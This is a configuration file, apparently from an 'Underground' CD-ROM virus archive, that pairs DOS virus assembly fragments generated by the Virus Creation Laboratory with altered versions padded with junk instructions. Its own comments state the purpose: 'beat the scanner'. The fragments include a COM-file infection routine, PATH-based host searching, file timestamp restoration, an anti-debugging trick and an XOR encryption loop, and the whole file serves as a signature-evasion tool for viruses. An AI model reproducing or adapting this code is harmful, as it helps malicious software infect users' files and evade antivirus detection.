home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / virgen / vcl-asm / PATTERNS.CFG < prev    next >
Encoding:
Text File  |  1994-04-25  |  11.9 KB  |  315 lines
  1. -SearchFor:
  2. infection_done: cmp     byte ptr [set_carry],1
  3.         ret
  4. -ChangeTo:
  5. infection_done: push    ax
  6.         mov     ah,1
  7.         cmp     byte ptr [set_carry],ah ; Set carry flag if failed
  8.         pop     ax
  9.         ret
  10. -EndChange
  11.  
  12. -SearchFor:
  13. transfer_loop:  lodsb
  14.         or      al,al
  15.         je      transfer_end
  16.         inc     ah
  17.         stosb
  18. -ChangeTo:
  19. transfer_loop:  lodsb                           ; Load a character
  20.         or      al,al                   ; Is it a NULL?
  21.         je      transfer_end            ; If so then leave the loop
  22.         add     ah,1                    ; Add one to the character count
  23.         stosb
  24. -EndChange
  25.  
  26. -SearchFor:
  27.         lea     si,[bp + buffer]        ; SI points to original start
  28.         mov     di,0100h                ; Push 0100h on to stack for
  29.         push    di                      ; return to main program
  30.         movsw                           ; Copy the first two bytes
  31.         movsb                           ; Copy the third byte
  32.  
  33.         mov     di,bp                   ; DI points to start of virus
  34. -ChangeTo:
  35.         lea     si,[bp + buffer]        ; SI points to original start
  36.         mov     di,0100h                ; Push 0100h on to stack for
  37.         xchg    ax,bx                   ; beat the scanner
  38.         xchg    bx,ax                   ; with crap code
  39.         push    di                      ; return to main program
  40.         movsw                           ; Copy the first two bytes
  41.         movsb                           ; Copy the third byte
  42.  
  43.         mov     di,bp                   ; DI points to start of virus
  44. -EndChange
  45.  
  46. -SearchFor:
  47.         inc     si                      ; Do the next word
  48.         inc     si                      ;
  49.         loop    xor_loop                ; Loop until we're through
  50.         ret                             ; Return to caller
  51. -ChangeTo:
  52.         add     si,2                    ; Do the next word
  53.         loop    xor_loop                ; Loop until we're through
  54.         ret                             ; Return to caller
  55. -EndChange
  56.  
  57. -SearchFor:
  58.         inc     di                      ; Do the next word
  59.         inc     di                      ;
  60.         loop    xor_loop                ; Loop until we're through
  61.         ret                             ; Return to caller
  62. -ChangeTo:
  63.         add     di,2                    ; Do the next word
  64.         loop    xor_loop                ; Loop until we're through
  65.         ret                             ; Return to caller
  66. -EndChange
  67.  
  68. -SearchFor:
  69.         sub     sp,135                  ; Allocate 135 bytes on stack
  70.  
  71.         mov     byte ptr [bp - 135],'\' ; Start with a backslash
  72.  
  73.         mov     ah,047h                 ; DOS get current dir function
  74.         xor     dl,dl                   ; DL holds drive # (current)
  75.         lea     si,[bp - 134]           ; SI points to 64-byte buffer
  76. -ChangeTo:
  77.         sub     sp,135                  ; Allocate 135 bytes on stack
  78.  
  79.         mov     byte ptr [bp - 135],'\' ; Start with a backslash
  80.  
  81.         mov     ah,01h                  ; Crap code, crap code...
  82.         mov     ah,047h                 ; DOS get current dir function
  83.         xor     dl,dl                   ; DL holds drive # (current)
  84.         lea     si,[bp - 134]           ; SI points to 64-byte buffer
  85. -EndChange
  86.  
  87. -SearchFor:
  88. start:          call    find_offset             ; Like a PUSH IP
  89. find_offset:    pop     bp                      ; BP holds old IP
  90.         sub     bp,offset find_offset   ; Adjust for length of host
  91. -ChangeTo:
  92. start:          call    find_offset             ; Like a PUSH IP
  93. find_offset:    pop     bp                      ; BP holds old IP
  94.         xchg    ax,bx                   ; beat the scanner
  95.         xchg    bx,ax                   ; with crap code
  96.         sub     bp,offset find_offset   ; Adjust for length of host
  97. -EndChange
  98.  
  99. -SearchFor:
  100.         mov     ah,01Ah                 ; DOS set DTA function
  101.         lea     dx,[bp - 128]           ; DX points to buffer on stack
  102.         int     021h
  103. -ChangeTo:
  104.         mov     ah,01Ah                 ; DOS set DTA function
  105.         lea     dx,[bp - 128]           ; DX points to buffer on stack
  106.         xchg    ax,bx                   ; crap!
  107.         xchg    ax,bx                   ; crap!
  108.         int     021h
  109. -EndChange
  110.  
  111. -SearchFor:
  112. stop_tracing:   mov     cx,09EBh
  113.         mov     ax,0FE05h               ; Acutal move, plus a HaLT
  114.         jmp     $-2
  115.         add     ah,03Bh                 ; AH now equals 025h
  116. -ChangeTo:
  117. stop_tracing:   mov     cx,09EBh
  118.         mov     bx,09EBh
  119.         mov     ax,0FE05h               ; Acutal move, plus a HaLT
  120.         jmp     $-2
  121.         add     ah,03Bh                 ; AH now equals 025h
  122. -EndChange
  123.  
  124. -SearchFor:
  125. vcl_marker      db      "[VCL]",0               ; VCL creation marker
  126. -ChangeTo:
  127. vcl_marker      db      "[VCL_MUT]",0           ; VCL creation marker
  128. -EndChange
  129.  
  130. -SearchFor:
  131.         sub     bp,offset find_offset   ; Adjust for length of host
  132.  
  133.         lea     si,[bp + buffer]        ; SI points to original start
  134.         mov     di,0100h                ; Push 0100h on to stack for
  135.         push    di                      ; return to main program
  136.         movsw                           ; Copy the first two bytes
  137.         movsb                           ; Copy the third byte
  138.  
  139.         mov     di,bp                   ; DI points to start of virus
  140. -ChangeTo:
  141.         sub     bp,offset find_offset   ; Adjust for length of host
  142.  
  143.         lea     si,[bp + buffer]        ; SI points to original start
  144.         mov     di,0100h                ; Push 0100h on to stack for
  145.         push    di                      ; crap code
  146.         pop     di                      ; crap code
  147.         push    di                      ; return to main program
  148.         movsw                           ; Copy the first two bytes
  149.         movsb                           ; Copy the third byte
  150.  
  151.         mov     di,bp                   ; DI points to start of virus
  152. -EndChange
  153.  
  154. -SearchFor:
  155.         mov     cx,3                    ; CX holds bytes to read (3)
  156.         lea     dx,[di + buffer]        ; DX points to buffer
  157.         int     021h
  158.  
  159.         mov     ax,04202h               ; DOS file seek function, EOF
  160.         cwd                             ; Zero DX _ Zero bytes from end
  161. -ChangeTo:
  162.         mov     cx,3                    ; CX holds bytes to read (3)
  163.         lea     dx,[di + buffer]        ; DX points to buffer
  164.         int     021h
  165.  
  166.         xor     ah,ah                   ; crap! crap!
  167.         mov     ax,04202h               ; DOS file seek function, EOF
  168.         cwd                             ; Zero DX _ Zero bytes from end
  169. -EndChange
  170.  
  171. -SearchFor:
  172.         mov     cx,3                    ; CX holds bytes to write (3)
  173.         lea     dx,[di + new_jump]      ; DX points to the jump we made
  174.         int     021h
  175.  
  176.         mov     ax,04202h               ; DOS file seek function, EOF
  177.         cwd                             ; Zero DX _ Zero bytes from end
  178.         mov     cx,dx                   ; Zero CX /
  179.         int     021h
  180. -ChangeTo:
  181.         mov     cx,3                    ; CX holds bytes to write (3)
  182.         lea     dx,[di + new_jump]      ; DX points to the jump we made
  183.         int     021h
  184.  
  185.         xor     ah,ah                   ; crap! crap!
  186.         mov     ax,04202h               ; DOS file seek function, EOF
  187.         cwd                             ; Zero DX _ Zero bytes from end
  188.         mov     cx,dx                   ; Zero CX /
  189.         int     021h
  190. -EndChange
  191.  
  192. -SearchFor:
  193.         pop     si                      ; Restore SI
  194.  
  195.         mov     ax,05701h               ; DOS set file time function
  196.         mov     cx,[si + 016h]          ; CX holds old file time
  197.         mov     dx,[si + 018h]          ; DX holds old file date
  198.         int     021h
  199. -ChangeTo:
  200.         pop     si                      ; Restore SI
  201.  
  202.         xor     ah,ah                   ; crap crap!
  203.         mov     ax,05701h               ; DOS set file time function
  204.         mov     cx,[si + 016h]          ; CX holds old file time
  205.         mov     dx,[si + 018h]          ; DX holds old file date
  206.         int     021h
  207. -EndChange
  208.  
  209. -SearchFor:
  210.         mov     ax,cs                   ; AX holds the code segment
  211.         mov     ds,ax                   ; Set the data and extra
  212.         mov     es,ax                   ; segments to the code segment
  213.  
  214.         xor     al,al                   ; Zero AL
  215.         stosb                           ; NULL-terminate the directory
  216.  
  217.         mov     ah,03Bh                 ; DOS change directory function
  218.         lea     dx,[bp - 70]            ; DX points to the directory
  219. -ChangeTo:
  220.         mov     ax,cs                   ; AX holds the code segment
  221.         mov     ds,ax                   ; Set the data and extra
  222.         mov     es,ax                   ; segments to the code segment
  223.  
  224.         xor     al,al                   ; Zero AL
  225.         stosb                           ; NULL-terminate the directory
  226.  
  227.         xor     ah,ah                   ; Crap Crap Crap!
  228.         mov     ah,03Bh                 ; DOS change directory function
  229.         lea     dx,[bp - 70]            ; DX points to the directory
  230. -EndChange
  231.  
  232. -SearchFor:
  233.         push    cs                      ; Transfer CS into ES for
  234.         pop     es                      ; byte transfer
  235. move_subdir:    lodsb                           ; Load the next byte into AL
  236.         cmp     al,';'                  ; Have we reached a separator?
  237.         je      moved_one               ; If so we're done copying
  238.         or      al,al                   ; Are we finished with the PATH?
  239.         je      moved_last_one          ; If so get out of here
  240.         stosb                           ; Store the byte at ES:DI
  241.         jmp     short move_subdir       ; Keep transfering characters
  242.  
  243. moved_last_one: xor     si,si                   ; Zero SI to signal completion
  244. -ChangeTo:
  245.         push    cs                      ; Transfer CS into ES for
  246.         pop     es                      ; byte transfer
  247. move_subdir:    lodsb                           ; Load the next byte into AL
  248.         cmp     al,';'                  ; Have we reached a separator?
  249.         je      moved_one               ; If so we're done copying
  250.         or      al,al                   ; Are we finished with the PATH?
  251.         je      moved_last_one          ; If so get out of here
  252.         stosb                           ; Store the byte at ES:DI
  253.         jmp     short move_subdir       ; Keep transfering characters
  254.  
  255. moved_last_one: mov     si,0000h                ; Zero SI to signal completion
  256. -EndChange
  257.  
  258. -SearchFor:
  259.         lodsb                           ; Load the "P" into AL
  260.         mov     cx,08000h               ; Check the first 32767 bytes
  261.     repne   scasb                           ; Search until the byte is found
  262.         mov     cx,4                    ; Check the next four bytes
  263. -ChangeTo:
  264.         lodsb                           ; Load the "P" into AL
  265.         xor     cl, cl                  ; crap crap crap
  266.         mov     cx,08000h               ; Check the first 32767 bytes
  267.     repne   scasb                           ; Search until the byte is found
  268.         mov     cx,4                    ; Check the next four bytes
  269. -EndChange
  270.  
  271. -SearchFor:
  272.     rep     movsb                           ; Copy the bytes
  273.  
  274.         pop     cx                      ; Restore CX
  275.         pop     si                      ; Restore SI
  276.         inc     cx                      ; Copy the RET also this time
  277.     rep     movsb                           ; Copy the routine again
  278.  
  279.         mov     ah,040h                 ; DOS write to file function
  280. -ChangeTo:
  281.     rep     movsb                           ; Copy the bytes
  282.  
  283.         pop     cx                      ; Restore CX
  284.         pop     si                      ; Restore SI
  285.         inc     cx                      ; Copy the RET also this time
  286.     rep     movsb                           ; Copy the routine again
  287.  
  288.         xor     ah,ah
  289.         mov     ah,040h                 ; DOS write to file function
  290. -EndChange
  291.  
  292. -SearchFor:
  293. done_searching: mov     sp,bp                   ; Restore old stack frame
  294.         mov     ah,01Ah                 ; DOS set DTA function
  295.         pop     dx                      ; Retrieve old DTA address
  296.         int     021h
  297.  
  298.         pop     bp                      ; Restore BP
  299.         ret                             ; Return to caller
  300.  
  301. up_dir          db      "..",0                  ; Parent directory name
  302. -ChangeTo:
  303. done_searching: mov     sp,bp                   ; Restore old stack frame
  304.         mov     ah,01Ah                 ; DOS set DTA function
  305.         push    dx                      ; crap!
  306.         pop     dx                      ; crap!
  307.         pop     dx                      ; Retrieve old DTA address
  308.         int     021h
  309.  
  310.         pop     bp                      ; Restore BP
  311.         ret                             ; Return to caller
  312.  
  313. up_dir          db      "..",0                  ; Parent directory name
  314. -EndChange
  315.